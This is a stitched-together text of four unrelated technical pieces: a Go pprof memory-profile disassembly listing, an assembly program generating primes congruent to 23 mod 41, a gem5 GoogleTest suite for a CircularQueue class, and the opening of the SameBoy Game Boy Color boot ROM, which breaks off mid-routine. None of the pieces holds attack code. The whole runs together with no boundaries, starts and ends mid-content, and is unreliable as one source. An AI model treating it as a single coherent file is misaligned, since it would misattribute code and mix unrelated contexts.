RET . . 10ce602: NOPL ;main.go:31 . . 10ce603: MOVQ CX, 0(SP) ;file.go:289 . . 10ce607: MOVQ AX, 0x8(SP) . . 10ce60c: MOVQ $0x602, 0x10(SP) . . 10ce615: MOVL $0x1b6, 0x18(SP) . . 10ce61d: CALL os.OpenFile(SB) . . 10ce622: MOVQ 0x20(SP), AX . . 10ce627: MOVQ AX, 0x1e0(SP) . . 10ce62f: MOVQ 0x28(SP), CX . . 10ce634: MOVQ CX, 0x68(SP) . . 10ce639: MOVQ 0x30(SP), DX . . 10ce63e: MOVQ DX, 0x1e8(SP) . . 10ce646: MOVL $0x18, 0x180(SP) ;main.go:32 . . 10ce651: LEAQ go.func.*+300(SB), BX . . 10ce658: MOVQ BX, 0x198(SP) . . 10ce660: MOVQ AX, 0x1b0(SP) . . 10ce668: LEAQ 0x180(SP), SI . . 10ce670: MOVQ SI, 0(SP) . . 10ce674: CALL runtime.deferprocStack(SB) . . 10ce679: TESTL AX, AX . . 10ce67b: JNE 0x10ce73e . . 10ce681: MOVQ 0x68(SP), AX ;main.go:33 . . 10ce686: TESTQ AX, AX . . 10ce689: JE 0x10ce6d7 . . 10ce68b: JE 0x10ce691 ;main.go:34 . . 10ce68d: MOVQ 0x8(AX), AX . . 10ce691: XORPS X0, X0 . . 10ce694: MOVUPS X0, 0x200(SP) . . 10ce69c: MOVQ AX, 0x200(SP) . . 10ce6a4: MOVQ 0x1e8(SP), AX . . 10ce6ac: MOVQ AX, 0x208(SP) . . 10ce6b4: LEAQ 0x200(SP), AX . . 10ce6bc: MOVQ AX, 0(SP) . . 10ce6c0: MOVQ $0x1, 0x8(SP) . . 10ce6c9: MOVQ $0x1, 0x10(SP) . . 10ce6d2: CALL log.Fatal(SB) . . 10ce6d7: LEAQ go.itab.*os.File,io.Writer(SB), AX ;main.go:36 . . 10ce6de: MOVQ AX, 0(SP) . . 10ce6e2: MOVQ 0x1e0(SP), CX . . 10ce6ea: MOVQ CX, 0x8(SP) . 1.16MB 10ce6ef: CALL runtime/pprof.StartCPUProfile(SB) ;main.main main.go:36 . . 10ce6f4: MOVL $0x0, 0xb8(SP) ;main.go:37 . . 10ce6ff: LEAQ go.func.*+1572(SB), AX . . 10ce706: MOVQ AX, 0xd0(SP) . . 10ce70e: LEAQ 0xb8(SP), AX . . 10ce716: MOVQ AX, 0(SP) . . 10ce71a: CALL runtime.deferprocStack(SB) . . 10ce71f: TESTL AX, AX . . 10ce721: JNE 0x10ce728 . . 10ce723: JMP 0x10cdad0 . . 10ce728: NOPL . . 10ce729: CALL runtime.deferreturn(SB) . . 10ce72e: MOVQ 0x2e0(SP), BP . . 10ce736: ADDQ $0x2e8, SP . . 10ce73d: RET . . 10ce73e: NOPL ;main.go:32 . . 10ce73f: CALL runtime.deferreturn(SB) . . 10ce744: MOVQ 0x2e0(SP), BP . . 10ce74c: ADDQ $0x2e8, SP . . 10ce753: RET . . 10ce754: MOVQ SI, AX ;main.go:84 . . 10ce757: MOVQ DI, CX . . 10ce75a: CALL runtime.panicIndex(SB) . . 10ce75f: MOVL $0x1, AX ;flag.go:996 . . 10ce764: CALL runtime.panicSliceB(SB) . . 10ce769: NOPL . . 10ce76a: CALL runtime.morestack_noctxt(SB) ;main.go:27 . . 10ce76f: JMP main.main(SB) . . 10ce774: INT $0x3 . . 10ce775: INT $0x3 . . 10ce776: INT $0x3 . . 10ce777: INT $0x3 . . 10ce778: INT $0x3 . . 10ce779: INT $0x3 . . 10ce77a: INT $0x3 . . 10ce77b: INT $0x3 . . 10ce77c: INT $0x3 . . 10ce77d: INT $0x3 . . 10ce77e: INT $0x3 ROUTINE ======================== main.newIndex 192MB 192MB (flat, cum) 23.35% of Total . . 10cc040: MOVQ GS:0x30, CX ;index.go:17 . . 10cc049: CMPQ 0x10(CX), SP . . 10cc04d: JBE 0x10cc24e . . 10cc053: SUBQ $0x48, SP . . 10cc057: MOVQ BP, 0x40(SP) . . 10cc05c: LEAQ 0x40(SP), BP . . 10cc061: LEAQ runtime.types+77472(SB), AX ;index.go:18 . . 10cc068: MOVQ AX, 0(SP) . . 10cc06c: MOVQ 0x50(SP), AX . . 10cc071: MOVQ AX, 0x8(SP) . . 10cc076: MOVQ AX, 0x10(SP) 192MB 192MB 10cc07b: CALL runtime.makeslice(SB) ;main.newIndex index.go:18 . . 10cc080: MOVQ 0x18(SP), AX ;index.go:18 . . 10cc085: MOVQ AX, 0x38(SP) . . 10cc08a: XORL CX, CX . . 10cc08c: JMP 0x10cc095 ;index.go:19 . . 10cc08e: LEAQ 0x1(AX), CX . . 10cc092: MOVQ BX, AX ;index.go:20 . . 10cc095: MOVQ 0x50(SP), DX ;index.go:19 . . 10cc09a: CMPQ DX, CX . . 10cc09d: JGE 0x10cc104 . . 10cc09f: MOVQ CX, 0x20(SP) . . 10cc0a4: LEAQ runtime.types+86176(SB), AX ;index.go:20 . . 10cc0ab: MOVQ AX, 0(SP) . . 10cc0af: XORPS X0, X0 . . 10cc0b2: MOVUPS X0, 0x8(SP) . . 10cc0b7: CALL runtime.makeslice(SB) . . 10cc0bc: MOVQ 0x20(SP), AX . . 10cc0c1: LEAQ 0(AX)(AX*2), CX . . 10cc0c5: MOVQ 0x18(SP), DX . . 10cc0ca: MOVQ 0x38(SP), BX . . 10cc0cf: MOVQ $0x0, 0x8(BX)(CX*8) . . 10cc0d8: MOVQ $0x0, 0x10(BX)(CX*8) . . 10cc0e1: LEAQ 0(BX)(CX*8), DI . . 10cc0e5: CMPL $0x0, runtime.writeBarrier(SB) . . 10cc0ec: JNE 0x10cc0f4 . . 10cc0ee: MOVQ DX, 0(BX)(CX*8) . . 10cc0f2: JMP 0x10cc08e . . 10cc0f4: MOVQ AX, CX ;index.go:19 . . 10cc0f7: MOVQ DX, AX ;index.go:20 . . 10cc0fa: CALL runtime.gcWriteBarrier(SB) . . 10cc0ff: MOVQ CX, AX ;index.go:19 . . 10cc102: JMP 0x10cc08e ;index.go:20 . . 10cc104: NOPL ;murmur64.go:18 . . 10cc105: MOVL $0x0, 0(SP) ;murmur64.go:22 . . 10cc10c: CALL erichgess/wordladder/vendor/github.com/spaolacci/murmur3.New128WithSeed(SB) . . 10cc111: MOVQ 0x10(SP), AX . . 10cc116: MOVQ 0x8(SP), CX . . 10cc11b: LEAQ go.itab.*erichgess/wordladder/vendor/github.com/spaolacci/murmur3.digest128,erichgess/wordladder/vendor/github.com/spaolacci/murmur3.Hash128(SB), DX . . 10cc122: CMPQ DX, CX . . 10cc125: JNE 0x10cc22c . . 10cc12b: MOVQ AX, 0x28(SP) . . 10cc130: LEAQ runtime.types+89184(SB), AX ;index.go:24 . . 10cc137: MOVQ AX, 0(SP) . . 10cc13b: MOVQ $0x0, 0x8(SP) . . 10cc144: MOVQ 0x58(SP), AX . . 10cc149: MOVQ AX, 0x10(SP) . . 10cc14e: CALL runtime.makeslice(SB) . . 10cc153: MOVQ 0x18(SP), AX . . 10cc158: MOVQ AX, 0x30(SP) . . 10cc15d: LEAQ runtime.types+196608(SB), CX ;index.go:26 . . 10cc164: MOVQ CX, 0(SP) . . 10cc168: CALL runtime.newobject(SB) . . 10cc16d: MOVQ 0x8(SP), AX ;index.go:23 . . 10cc172: LEAQ go.itab.*erichgess/wordladder/vendor/github.com/spaolacci/murmur3.digest64,hash.Hash64(SB), CX . . 10cc179: MOVQ CX, 0(AX) . . 10cc17c: CMPL $0x0, runtime.writeBarrier(SB) . . 10cc183: JNE 0x10cc213 . . 10cc189: MOVQ 0x28(SP), CX . . 10cc18e: MOVQ CX, 0x8(AX) . . 10cc192: MOVQ $0x0, 0x30(AX) ;index.go:24 . . 10cc19a: MOVQ 0x58(SP), CX . . 10cc19f: MOVQ CX, 0x38(AX) . . 10cc1a3: CMPL $0x0, runtime.writeBarrier(SB) . . 10cc1aa: JNE 0x10cc1fd . . 10cc1ac: MOVQ 0x30(SP), CX . . 10cc1b1: MOVQ CX, 0x28(AX) . . 10cc1b5: MOVQ 0x50(SP), CX ;index.go:25 . . 10cc1ba: MOVQ CX, 0x18(AX) . . 10cc1be: MOVQ CX, 0x20(AX) . . 10cc1c2: CMPL $0x0, runtime.writeBarrier(SB) . . 10cc1c9: JNE 0x10cc1e7 . . 10cc1cb: MOVQ 0x38(SP), DX . . 10cc1d0: MOVQ DX, 0x10(AX) . . 10cc1d4: MOVQ CX, 0x40(AX) ;index.go:26 . . 10cc1d8: MOVQ AX, 0x60(SP) ;index.go:22 . . 10cc1dd: MOVQ 0x40(SP), BP . . 10cc1e2: ADDQ $0x48, SP . . 10cc1e6: RET . . 10cc1e7: LEAQ 0x10(AX), DI ;index.go:25 . . 10cc1eb: MOVQ AX, DX ;index.go:26 . . 10cc1ee: MOVQ 0x38(SP), AX ;index.go:25 . . 10cc1f3: CALL runtime.gcWriteBarrier(SB) . . 10cc1f8: MOVQ DX, AX ;index.go:26 . . 10cc1fb: JMP 0x10cc1d4 ;index.go:25 . . 10cc1fd: LEAQ 0x28(AX), DI ;index.go:24 . . 10cc201: MOVQ AX, CX ;index.go:26 . . 10cc204: MOVQ 0x30(SP), AX ;index.go:24 . . 10cc209: CALL runtime.gcWriteBarrier(SB) . . 10cc20e: MOVQ CX, AX ;index.go:25 . . 10cc211: JMP 0x10cc1b5 ;index.go:24 . . 10cc213: LEAQ 0x8(AX), DI ;index.go:23 . . 10cc217: MOVQ AX, CX ;index.go:26 . . 10cc21a: MOVQ 0x28(SP), AX ;index.go:23 . . 10cc21f: CALL runtime.gcWriteBarrier(SB) . . 10cc224: MOVQ CX, AX ;index.go:24 . . 10cc227: JMP 0x10cc192 ;index.go:23 . . 10cc22c: MOVQ CX, 0(SP) ;murmur64.go:22 . . 10cc230: LEAQ runtime.types+201504(SB), AX . . 10cc237: MOVQ AX, 0x8(SP) . . 10cc23c: LEAQ runtime.types+157120(SB), AX . . 10cc243: MOVQ AX, 0x10(SP) . . 10cc248: CALL runtime.panicdottypeI(SB) . . 10cc24d: NOPL . . 10cc24e: CALL runtime.morestack_noctxt(SB) ;index.go:17 . . 10cc253: JMP main.newIndex(SB) . . 10cc258: INT $0x3 . . 10cc259: INT $0x3 . . 10cc25a: INT $0x3 . . 10cc25b: INT $0x3 . . 10cc25c: INT $0x3 . . 10cc25d: INT $0x3 . . 10cc25e: INT $0x3 ROUTINE ======================== runtime.main 0 822.30MB (flat, cum) 100% of Total . . 102caf0: MOVQ GS:0x30, CX ;proc.go:113 . . 102caf9: CMPQ 0x10(CX), SP . . 102cafd: JBE 0x102ce70 . . 102cb03: SUBQ $0x78, SP . . 102cb07: MOVQ BP, 0x70(SP) . . 102cb0c: LEAQ 0x70(SP), BP . . 102cb11: MOVQ GS:0x30, AX ;proc.go:114 . . 102cb1a: MOVQ AX, 0x68(SP) . . 102cb1f: MOVQ 0x30(AX), CX ;proc.go:118 . . 102cb23: MOVQ 0(CX), CX . . 102cb26: MOVQ $0x0, 0x130(CX) ;proc.go:124 . . 102cb31: MOVQ $0x3b9aca00, runtime.maxstacksize(SB) . . 102cb3c: MOVB $0x1, runtime.mainStarted(SB) ;proc.go:130 . . 102cb43: LEAQ go.func.*+956(SB), CX ;proc.go:133 . . 102cb4a: MOVQ CX, 0(SP) . . 102cb4e: CALL runtime.systemstack(SB) . . 102cb53: MOVQ GS:0x30, AX ;proc.go:3550 . . 102cb5c: MOVQ 0x30(AX), AX . . 102cb60: NOPL ;proc.go:144 . . 102cb61: INCL 0x274(AX) ;proc.go:3550 . . 102cb67: MOVQ GS:0x30, AX ;proc.go:3511 . . 102cb70: MOVQ 0x30(AX), CX ;proc.go:3512 . . 102cb74: NOPL ;proc.go:3551 . . 102cb75: MOVQ AX, DX ;runtime2.go:254 . . 102cb78: MOVQ AX, 0x168(CX) . . 102cb7f: MOVQ 0x30(DX), AX ;proc.go:3513 . . 102cb83: MOVQ AX, 0xd8(DX) ;runtime2.go:292 . . 102cb8a: MOVQ 0x68(SP), AX ;proc.go:146 . . 102cb8f: MOVQ 0x30(AX), AX . . 102cb93: LEAQ runtime.m0(SB), CX . . 102cb9a: CMPQ CX, AX . . 102cb9d: JNE 0x102ce56 . . 102cba3: LEAQ runtime..inittask(SB), AX ;proc.go:150 . . 102cbaa: MOVQ AX, 0(SP) . . 102cbae: CALL runtime.doInit(SB) . . 102cbb3: CALL runtime.nanotime(SB) ;proc.go:151 . . 102cbb8: CMPQ $0x0, 0(SP) . . 102cbbd: JE 0x102ce3d . . 102cbc3: MOVB $0x1, 0x27(SP) ;proc.go:156 . . 102cbc8: MOVL $0x8, 0x30(SP) ;proc.go:157 . . 102cbd0: LEAQ go.func.*+964(SB), AX . . 102cbd7: MOVQ AX, 0x48(SP) . . 102cbdc: LEAQ 0x27(SP), AX . . 102cbe1: MOVQ AX, 0x60(SP) . . 102cbe6: LEAQ 0x30(SP), AX . . 102cbeb: MOVQ AX, 0(SP) . . 102cbef: CALL runtime.deferprocStack(SB) . . 102cbf4: TESTL AX, AX . . 102cbf6: JNE 0x102cdc9 . . 102cbfc: CALL runtime.nanotime(SB) ;proc.go:164 . . 102cc01: MOVQ 0(SP), AX . . 102cc05: MOVQ AX, runtime.runtimeInitTime(SB) . . 102cc0c: CALL runtime.gcenable(SB) ;proc.go:166 . . 102cc11: LEAQ runtime.types+83424(SB), AX ;proc.go:168 . . 102cc18: MOVQ AX, 0(SP) . . 102cc1c: MOVQ $0x0, 0x8(SP) . . 102cc25: CALL runtime.makechan(SB) . . 102cc2a: MOVQ 0x10(SP), AX . . 102cc2f: CMPL $0x0, runtime.writeBarrier(SB) . . 102cc36: JNE 0x102cdb8 . . 102cc3c: MOVQ AX, runtime.main_init_done(SB) . . 102cc43: CMPB $0x0, runtime.iscgo(SB) ;proc.go:169 . . 102cc4a: JE 0x102ccba . . 102cc4c: CMPQ $0x0, __cgo_thread_start(SB) ;proc.go:170 . . 102cc54: JE 0x102ce24 . . 102cc5a: CMPQ $0x0, runtime._cgo_setenv(SB) ;proc.go:174 . . 102cc62: JE 0x102ce0b . . 102cc68: CMPQ $0x0, runtime._cgo_unsetenv(SB) ;proc.go:177 . . 102cc70: JE 0x102cdf2 ;proc.go:181 . . 102cc76: CMPQ $0x0, __cgo_notify_runtime_init_done(SB) . . 102cc7e: JE 0x102cdd9 . . 102cc84: XORL AX, AX ;proc.go:1865 . . 102cc86: LEAQ runtime.newmHandoff+32(SB), CX . . 102cc8d: MOVL $0x1, DX . . 102cc92: LOCK CMPXCHGL DX, 0(CX) . . 102cc96: SETE CL . . 102cc99: TESTL CL, CL . . 102cc9b: JNE 0x102cd9a ;proc.go:187 . . 102cca1: MOVQ __cgo_notify_runtime_init_done(SB), AX . . 102cca8: MOVQ AX, 0(SP) . . 102ccac: MOVQ $0x0, 0x8(SP) . . 102ccb5: CALL runtime.cgocall(SB) . . 102ccba: LEAQ main..inittask(SB), AX ;proc.go:190 . . 102ccc1: MOVQ AX, 0(SP) . . 102ccc5: CALL runtime.doInit(SB) . . 102ccca: MOVQ runtime.main_init_done(SB), AX ;proc.go:192 . . 102ccd1: MOVQ AX, 0(SP) . . 102ccd5: CALL runtime.closechan(SB) . . 102ccda: MOVB $0x0, 0x27(SP) ;proc.go:194 . . 102ccdf: CALL runtime.unlockOSThread(SB) ;proc.go:195 . . 102cce4: CMPB $0x0, runtime.isarchive(SB) ;proc.go:197 . . 102cceb: JNE 0x102cd8a . . 102ccf1: CMPB $0x0, runtime.islibrary(SB) . . 102ccf8: JNE 0x102cd8a . . 102ccfe: MOVQ go.func.*+972(SB), AX ;proc.go:203 . . 102cd05: LEAQ go.func.*+972(SB), DX . 822.30MB 102cd0c: CALL AX ;runtime.main proc.go:203 . . 102cd0e: MOVL runtime.runningPanicDefers(SB), AX ;proc.go:212 . . 102cd14: TESTL AX, AX . . 102cd16: JE 0x102cd4c . . 102cd18: XORL AX, AX . . 102cd1a: JMP 0x102cd3a ;proc.go:214 . . 102cd1c: MOVQ AX, 0x28(SP) . . 102cd21: NOPL ;proc.go:218 . . 102cd22: LEAQ go.func.*+900(SB), AX ;proc.go:269 . . 102cd29: MOVQ AX, 0(SP) . . 102cd2d: CALL runtime.mcall(SB) . . 102cd32: MOVQ 0x28(SP), AX ;proc.go:214 . . 102cd37: INCQ AX . . 102cd3a: CMPQ $0x3e8, AX . . 102cd40: JGE 0x102cd4c . . 102cd42: MOVL runtime.runningPanicDefers(SB), CX ;proc.go:215 . . 102cd48: TESTL CX, CX . . 102cd4a: JNE 0x102cd1c . . 102cd4c: MOVL runtime.panicking(SB), AX ;proc.go:221 . . 102cd52: TESTL AX, AX . . 102cd54: JNE 0x102cd6c . . 102cd56: MOVL $0x0, 0(SP) ;proc.go:225 . . 102cd5d: CALL runtime.exit(SB) . . 102cd62: XORL AX, AX ;proc.go:228 . . 102cd64: MOVL $0x0, 0(AX) . . 102cd6a: JMP 0x102cd62 . . 102cd6c: XORPS X0, X0 ;proc.go:222 . . 102cd6f: MOVUPS X0, 0(SP) . . 102cd73: MOVW $0x1008, 0x10(SP) . . 102cd7a: MOVQ $0x1, 0x18(SP) . . 102cd83: CALL runtime.gopark(SB) . . 102cd88: JMP 0x102cd56 . . 102cd8a: NOPL ;proc.go:200 . . 102cd8b: CALL runtime.deferreturn(SB) . . 102cd90: MOVQ 0x70(SP), BP . . 102cd95: ADDQ $0x78, SP . . 102cd99: RET . . 102cd9a: LEAQ go.func.*+1516(SB), AX ;proc.go:1868 . . 102cda1: MOVQ AX, 0(SP) . . 102cda5: MOVQ $0x0, 0x8(SP) . . 102cdae: CALL runtime.newm(SB) . . 102cdb3: JMP 0x102cca1 ;proc.go:186 . . 102cdb8: LEAQ runtime.main_init_done(SB), DI ;proc.go:168 . . 102cdbf: CALL runtime.gcWriteBarrier(SB) . . 102cdc4: JMP 0x102cc43 . . 102cdc9: NOPL ;proc.go:157 . . 102cdca: CALL runtime.deferreturn(SB) . . 102cdcf: MOVQ 0x70(SP), BP . . 102cdd4: ADDQ $0x78, SP . . 102cdd8: RET . . 102cdd9: LEAQ go.string.*+25332(SB), AX ;proc.go:182 . . 102cde0: MOVQ AX, 0(SP) . . 102cde4: MOVQ $0x25, 0x8(SP) . . 102cded: CALL runtime.throw(SB) . . 102cdf2: LEAQ go.string.*+11989(SB), AX ;proc.go:178 . . 102cdf9: MOVQ AX, 0(SP) . . 102cdfd: MOVQ $0x15, 0x8(SP) . . 102ce06: CALL runtime.throw(SB) . . 102ce0b: LEAQ go.string.*+9904(SB), AX ;proc.go:175 . . 102ce12: MOVQ AX, 0(SP) . . 102ce16: MOVQ $0x13, 0x8(SP) . . 102ce1f: CALL runtime.throw(SB) . . 102ce24: LEAQ go.string.*+15120(SB), AX ;proc.go:171 . . 102ce2b: MOVQ AX, 0(SP) . . 102ce2f: MOVQ $0x19, 0x8(SP) . . 102ce38: CALL runtime.throw(SB) . . 102ce3d: LEAQ go.string.*+13965(SB), AX ;proc.go:152 . . 102ce44: MOVQ AX, 0(SP) . . 102ce48: MOVQ $0x17, 0x8(SP) . . 102ce51: CALL runtime.throw(SB) . . 102ce56: LEAQ go.string.*+13084(SB), AX ;proc.go:147 . . 102ce5d: MOVQ AX, 0(SP) . . 102ce61: MOVQ $0x16, 0x8(SP) . . 102ce6a: CALL runtime.throw(SB) . . 102ce6f: NOPL . . 102ce70: CALL runtime.morestack_noctxt(SB) ;proc.go:113 . . 102ce75: JMP runtime.main(SB) . . 102ce7a: INT $0x3 . . 102ce7b: INT $0x3 . . 102ce7c: INT $0x3 . . 102ce7d: INT $0x3 . . 102ce7e: INT $0x3
; A142220: Primes congruent to 23 mod 41. ; Submitted by Jon Maiga ; 23,269,433,761,1171,1499,1663,2237,2647,2729,3221,3467,3631,3877,4451,4861,4943,5107,5189,5927,6091,6173,6337,6829,6911,7321,7649,8059,8387,9043,9371,9781,10273,10601,10847,11093,11257,11503,11831,12241,12323,12487,12569,12979,13553,13799,13963,14537,14783,14947,15193,15439,15767,17489,17981,18637,18719,19211,19457,19867,19949,20113,20359,20441,21179,21589,22409,22573,22901,23311,23557,24049,24623,25033,25771,26017,26099,26263,26591,27329,27739,28477,28559,28723,29297,29789,30773,30937,31019 mov $1,11 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,2 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,41 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,2 sub $0,81
/* * Copyright (c) 2018 ARM Limited * All rights reserved * * The license below extends only to copyright in the software and shall * not be construed as granting a license to any other intellectual * property including but not limited to intellectual property relating * to a hardware implementation of the functionality of the software * licensed hereunder. You may use the software subject to the license * terms below provided that you ensure that this notice is replicated * unmodified and in its entirety in all distributions of the software, * modified or unmodified, in source code or in binary form. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer; * redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution; * neither the name of the copyright holders nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <gtest/gtest.h> #include "base/circular_queue.hh" /** Testing that once instantiated with a fixed size, * the queue is still empty */ TEST(CircularQueueTest, Empty) { const auto cq_size = 8; CircularQueue<uint32_t> cq(cq_size); ASSERT_EQ(cq.capacity(), cq_size); ASSERT_EQ(cq.size(), 0); ASSERT_TRUE(cq.empty()); } /** Testing that once instantiated with a fixed size, * the queue has Head = Tail + 1 */ TEST(CircularQueueTest, HeadTailEmpty) { const auto cq_size = 8; CircularQueue<uint32_t> cq(cq_size); ASSERT_EQ(cq.head(), (cq.tail() + 1) % cq_size); } /** Adding elements to the circular queue. * Once an element has been added we test the new value * of front() and back() (head an tail). Since we are just * adding elements and not removing them, we expect the front * value to be fixed and the back value to change, matching * the latest pushed value.*/ TEST(CircularQueueTest, AddingElements) { const auto cq_size = 8; CircularQueue<uint32_t> cq(cq_size); const auto first_element = 0xAAAAAAAA; cq.push_back(first_element); ASSERT_EQ(cq.front(), first_element); ASSERT_EQ(cq.back(), first_element); const auto second_element = 0x55555555; cq.push_back(second_element); ASSERT_EQ(cq.front(), first_element); ASSERT_EQ(cq.back(), second_element); ASSERT_EQ(cq.size(), 2); } /** Removing elements from the circular queue. * We add two elements and we consequently remove them. * After removing them we check that the elements have been * effectively removed, which means the circular queue is * empty */ TEST(CircularQueueTest, RemovingElements) { const auto cq_size = 8; CircularQueue<uint32_t> cq(cq_size); // Adding first element const auto first_element = 0xAAAAAAAA; cq.push_back(first_element); // Adding second element const auto second_element = 0x55555555; cq.push_back(second_element); auto initial_head = cq.head(); auto initial_tail = cq.tail(); // Removing first and second element cq.pop_front(); ASSERT_EQ(cq.head(), initial_head + 1); ASSERT_EQ(cq.tail(), initial_tail); cq.pop_front(); ASSERT_EQ(cq.head(), initial_head + 2); ASSERT_EQ(cq.tail(), initial_tail); ASSERT_EQ(cq.size(), 0); ASSERT_TRUE(cq.empty()); } /** Testing CircularQueue::full * This tests adds elements to the queue and checks that it is full, * which means: * - CircularQueue::full == true * - Head = Tail + 1 */ TEST(CircularQueueTest, Full) { const auto cq_size = 8; CircularQueue<uint32_t> cq(cq_size); const auto value = 0xAAAAAAAA; for (auto idx = 0; idx < cq_size; idx++) { cq.push_back(value); } ASSERT_TRUE(cq.full()); ASSERT_EQ(cq.head(), (cq.tail() + 1) % cq_size); } /** Testing CircularQueue::begin(), CircularQueue::end() * This tests the following: * - In an empty queue, begin() == end() * - After pushing some elements in the queue, the begin() * and end() iterators are correctly misaligned */ TEST(CircularQueueTest, BeginEnd) { const auto cq_size = 8; CircularQueue<uint32_t> cq(cq_size); // Begin/End are the same (empty) ASSERT_EQ(cq.begin(), cq.end()); const auto first_value = 0xAAAAAAAA; const auto second_value = 0x55555555; cq.push_back(first_value); cq.push_back(second_value); // End = Begin + 2 ASSERT_EQ(cq.begin() + 2, cq.end()); } /** Testing that begin() and end() (-1) iterators * actually point to the correct values * so that dereferencing them leads to a match with the * values of (front() and back()) */ TEST(CircularQueueTest, BeginFrontEndBack) { const auto cq_size = 8; CircularQueue<uint32_t> cq(cq_size); const auto front_value = 0xAAAAAAAA; const auto back_value = 0x55555555; cq.push_back(front_value); cq.push_back(back_value); ASSERT_EQ(*(cq.begin()), cq.front()); ASSERT_EQ(*(cq.end() - 1), cq.back()); } /** Testing circular queue iterators: * By allocating two iterators to a queue we test several * operators. */ TEST(CircularQueueTest, IteratorsOp) { const auto cq_size = 8; CircularQueue<uint32_t> cq(cq_size); const auto first_value = 0xAAAAAAAA; const auto second_value = 0x55555555; cq.push_back(first_value); cq.push_back(second_value); auto it_1 = cq.begin(); auto it_2 = cq.begin() + 1; // Operators test ASSERT_TRUE(it_1 != it_2); ASSERT_FALSE(it_1 == it_2); ASSERT_FALSE(it_1 > it_2); ASSERT_FALSE(it_1 >= it_2); ASSERT_TRUE(it_1 < it_2); ASSERT_TRUE(it_1 <= it_2); ASSERT_EQ(*it_1, first_value); ASSERT_EQ(it_1 + 1, it_2); ASSERT_EQ(it_1, it_2 - 1); ASSERT_EQ(it_2 - it_1, 1); ASSERT_EQ(it_1 - it_2, -1); auto temp_it = it_1; ASSERT_EQ(++temp_it, it_2); ASSERT_EQ(--temp_it, it_1); ASSERT_EQ(temp_it++, it_1); ASSERT_EQ(temp_it, it_2); ASSERT_EQ(temp_it--, it_2); ASSERT_EQ(temp_it, it_1); } /** * Testing a full loop, which is incrementing one iterator until * it wraps and has the same index as the starting iterator. * This test checks that even if they have the same index, they are * not the same iterator since they have different round. */ TEST(CircularQueueTest, FullLoop) { const auto cq_size = 8; CircularQueue<uint32_t> cq(cq_size); // ending_it does a full loop and points at the same // index as starting_it but with a different round auto starting_it = cq.begin(); auto ending_it = starting_it + cq_size; ASSERT_EQ(ending_it - starting_it, cq_size); ASSERT_TRUE(starting_it != ending_it); } /** * Testing correct behaviour when rounding multiple times: * - Round indexes in sync * - Difference between begin() and end() iterator is still * equal to the CircularQueue size. */ TEST(CircularQueueTest, MultipleRound) { const auto cq_size = 8; CircularQueue<uint32_t> cq(cq_size); // Filling the queue making it round multiple times auto items_added = cq_size * 3; for (auto idx = 0; idx < items_added; idx++) { cq.push_back(0); } auto starting_it = cq.begin(); auto ending_it = cq.end(); ASSERT_EQ(ending_it - starting_it, cq_size); }
; SameBoy CGB bootstrap ROM ; Todo: use friendly names for HW registers instead of magic numbers SECTION "BootCode", ROM0[$0] Start: ; Init stack pointer ld sp, $fffe ; Clear memory VRAM call ClearMemoryPage8000 ld a, 2 ld c, $70 ld [c], a ; Clear RAM Bank 2 (Like the original boot ROM) ld h, $D0 call ClearMemoryPage ld [c], a ; Clear OAM ld h, $fe ld c, $a0 .clearOAMLoop ldi [hl], a dec c jr nz, .clearOAMLoop IF !DEF(CGB0) ; Init waveform ld c, $10 ld hl, $FF30 .waveformLoop ldi [hl], a cpl dec c jr nz, .waveformLoop ENDC ; Clear chosen input palette ldh [InputPalette], a ; Clear title checksum ldh [TitleChecksum], a ld a, $80 ldh [$26], a ldh [$11], a ld a, $f3 ldh [$12], a ldh [$25], a ld a, $77 ldh [$24], a ; Init BG palette ld a, $fc ldh [$47], a ; Load logo from ROM. ; A nibble represents a 4-pixels line, 2 bytes represent a 4x4 tile, scaled to 8x8. ; Tiles are ordered left to right, top to bottom. ; These tiles are not used, but are required for DMG compatibility. This is done ; by the original CGB Boot ROM as well. ld de, $104 ; Logo start ld hl, $8010 ; This is where we load the tiles in VRAM .loadLogoLoop ld a, [de] ; Read 2 rows ld b, a call DoubleBitsAndWriteRowTwice inc de ld a, e cp $34 ; End of logo jr nz, .loadLogoLoop call ReadTrademarkSymbol ; Clear the second VRAM bank ld a, 1 ldh [$4F], a call ClearMemoryPage8000 call LoadTileset ld b, 3 IF DEF(FAST) xor a ldh [$4F], a ELSE ; Load Tilemap ld hl, $98C2 ld d, 3 ld a, 8 .tilemapLoop ld c, $10 .tilemapRowLoop call .write_with_palette ; Repeat the 3 tiles common between E and B. This saves 27 bytes after ; compression, with a cost of 17 bytes of code. push af sub $20 sub $3 jr nc, .notspecial add $20 call .write_with_palette dec c .notspecial pop af add d ; d = 3 for SameBoy logo, d = 1 for Nintendo logo dec c jr nz, .tilemapRowLoop sub 44 push de ld de, $10 add hl, de pop de dec b jr nz, .tilemapLoop dec d jr z, .endTilemap dec d ld a, $38 ld l, $a7 ld bc, $0107 jr .tilemapRowLoop .write_with_palette push af ; Switch to second VRAM Bank ld a, 1 ldh [$4F], a ld [hl], 8 ; Switch to back first VRAM Bank xor a ldh [$4F], a pop af ldi [hl], a 